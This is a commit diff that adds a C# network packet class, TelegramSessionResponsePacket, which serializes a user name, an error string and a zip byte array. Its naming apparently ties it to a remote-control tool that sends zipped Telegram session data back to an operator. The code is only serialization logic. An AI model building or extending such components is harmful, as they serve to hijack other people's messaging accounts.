initial commit
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class TelegramSessionResponsePacket : IPacket
|
||||
{
|
||||
public string UserName { get; set; }
|
||||
|
||||
public byte[] ZipBytes { get; set; }
|
||||
|
||||
public string Error { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(UserName ?? "");
|
||||
w.Write(Error ?? "");
|
||||
byte[] zipBytes = ZipBytes;
|
||||
w.Write((zipBytes != null) ? zipBytes.Length : 0);
|
||||
if (ZipBytes != null && ZipBytes.Length != 0)
|
||||
{
|
||||
w.Write(ZipBytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
UserName = r.ReadString();
|
||||
Error = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
ZipBytes = ((num > 0) ? r.ReadBytes(num) : Array.Empty<byte>());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user